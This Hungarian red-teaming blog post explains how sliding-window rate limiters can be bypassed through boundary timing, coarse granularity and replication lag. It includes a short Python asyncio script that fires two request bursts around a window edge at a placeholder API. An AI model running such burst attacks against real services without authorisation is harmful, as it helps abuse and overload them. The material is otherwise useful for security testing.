32.2.3 Csúszóablakos mechanizmusok manipulálása

2025.10.06.
AI Biztonság Blog

A rate limiting mechanizmusok evolúciójában a csúszóablak (sliding window) jelenti az egyik legkifinomultabb védelmi vonalat. Ellentétben a fix ablakos vagy a token vödör alapú megoldásokkal, elméletben sokkal jobban ellenáll a hirtelen kéréscsúcsoknak (burst attack). De mint tudjuk, az elmélet és a gyakorlati implementáció között gyakran tátong egy kihasználható szakadék. Nézzük meg, hol vérzik el a Szent Grál.

Kapcsolati űrlap

AI Biztonság kérdésed van? Itt elérsz minket:

Mi a csúszóablak alapelve, és hol a buktatója?

A csúszóablak lényege, hogy nem fix időszeleteket (pl. minden perc 0. másodpercétől az 59.-ig) vizsgál, hanem egy folyamatosan mozgó időintervallumot. Ha a limit 100 kérés percenként, akkor a rendszer bármely pillanatban azt ellenőrzi, hogy az elmúlt 60 másodpercben történt-e 100-nál több kérés. Ez elméletben kivédi azt a klasszikus trükköt, hogy az egyik ablak végén és a következő elején is elküldünk egy-egy teljes adag kérést.

A támadási felület az implementáció granularitásában és a versenyhelyzetekben (race condition) rejlik. Egy tökéletes csúszóablak minden egyes kérés időbélyegét tárolná és számolná, ami rendkívül erőforrás-igényes. A gyakorlatban a rendszerek gyakran egyszerűsítenek:

  • Hibrid megközelítés: Kombinálják a fix ablakos logikát a csúszóval. Például az aktuális és az előző ablak kérésszámainak súlyozott átlagát veszik. Ez a súlyozás és az ablakváltás pillanata adhat támadási rést.
  • Durva granularitás: Az ablakot nem nanoszekundumos pontossággal csúsztatják, hanem nagyobb időlépésekben (pl. másodpercenként). Ha egy támadó képes a kéréseit egy ilyen időlépésen belüli, de az ablak logikai határához közeli időpontra sűríteni, rést találhat.
  • Elosztott rendszerek szinkronizációs késleltetése: Nagy rendszereknél a kérésszámlálók több csomóponton oszlanak el. A számlálók szinkronizálása közti minimális késleltetés (pl. Redis replikációs lag) is elegendő lehet ahhoz, hogy rövid időre átlépjük a limitet.

A támadás anatómiája: Burst az ablakhatáron

A támadás célja, hogy a rendszer számítási pontatlanságát kihasználva egy nagyon rövid időintervallumon belül a megengedett kérésszám közel dupláját juttassuk át. Még ha a rendszer egy „csúszó” ablakot is használ, a számláló frissítése vagy kiértékelése egy diszkrét ponton történik. A mi feladatunk ezt a pontot megtalálni és a kéréseinket pontosan e pont köré időzíteni.

t Időablak N Időablak N+1 Ablakhatár / Számláló frissítési pontja 1. Burst: ~Limit kérés (Az N. ablak végén) 2. Burst: ~Limit kérés (Az N+1. ablak elején) Eredmény: ~2x Limit kérés egy Δt alatt

Gyakorlati megvalósítás pszeudokóddal

A támadás lényege a precíz időzítés és a párhuzamosítás. Egy egyszerűsített Python példa `asyncio` használatával jól szemlélteti a logikát.

import asyncio
import httpx
import time

# Célpont és paraméterek
TARGET_URL = "https://api.example.com/v1/process"
RATE_LIMIT = 100 # Feltételezett limit (pl. 100 kérés/perc)
WINDOW_SECONDS = 60

async def send_request(client, i):
 try:
 response = await client.post(TARGET_URL, json={"data": f"req_{i}"})
 return response.status_code
 except Exception as e:
 return str(e)

async def main():
 # Várunk a következő perc kezdetéig, hogy szinkronizáljunk
 now = time.time()
 sleep_for = WINDOW_SECONDS - (now % WINDOW_SECONDS)
 print(f"Szinkronizálás... várakozás {sleep_for:.2f} másodpercig.")
 await asyncio.sleep(sleep_for - 1.5) # Az ablak vége előtt ébredünk

 async with httpx.AsyncClient() as client:
 # 1. Burst: Az ablak vége előtt
 print("Indul az 1. burst...")
 tasks1 = [send_request(client, i) for i in range(RATE_LIMIT)]
 results1 = await asyncio.gather(*tasks1)
 
 # Itt történik a "mágia": átlépünk a következő ablakba
 await asyncio.sleep(2) # Biztosítjuk az ablakváltást
 
 # 2. Burst: Az új ablak elején
 print("Indul a 2. burst...")
 tasks2 = [send_request(client, i) for i in range(RATE_LIMIT, RATE_LIMIT * 2)]
 results2 = await asyncio.gather(*tasks2)

 print(f"Sikeres kérések (1. burst): {results1.count(200)}")
 print(f"Sikeres kérések (2. burst): {results2.count(200)}")

# Futtatás
asyncio.run(main())

Ez a kód megpróbál szinkronizálni egy feltételezett perc-alapú ablakhoz. Elküld egy adag kérést a perc utolsó másodpercében, majd egy másikat az új perc első másodpercében. Egy sebezhető rendszeren a sikeres kérések száma jóval a `RATE_LIMIT` felett lesz a két burst összegeként.

Red Teamer összefoglaló

A csúszóablakos mechanizmusok elleni támadás a precíziós időzítésről és a párhuzamosságról szól. Nem a koncepciót, hanem annak valós idejű, elosztott környezetben történő, óhatatlanul kompromisszumos implementációját támadjuk. A célunk megtalálni azt a legrövidebb `Δt` időintervallumot az ablakok határán, amelybe a rendszer számítási és szinkronizációs tehetetlensége miatt `2 * Limit` mennyiségű kérést tudunk besűríteni. Az ilyen támadások felderítése és automatizálása a modern Red Teaming egyik izgalmas, időzítés-kritikus területe.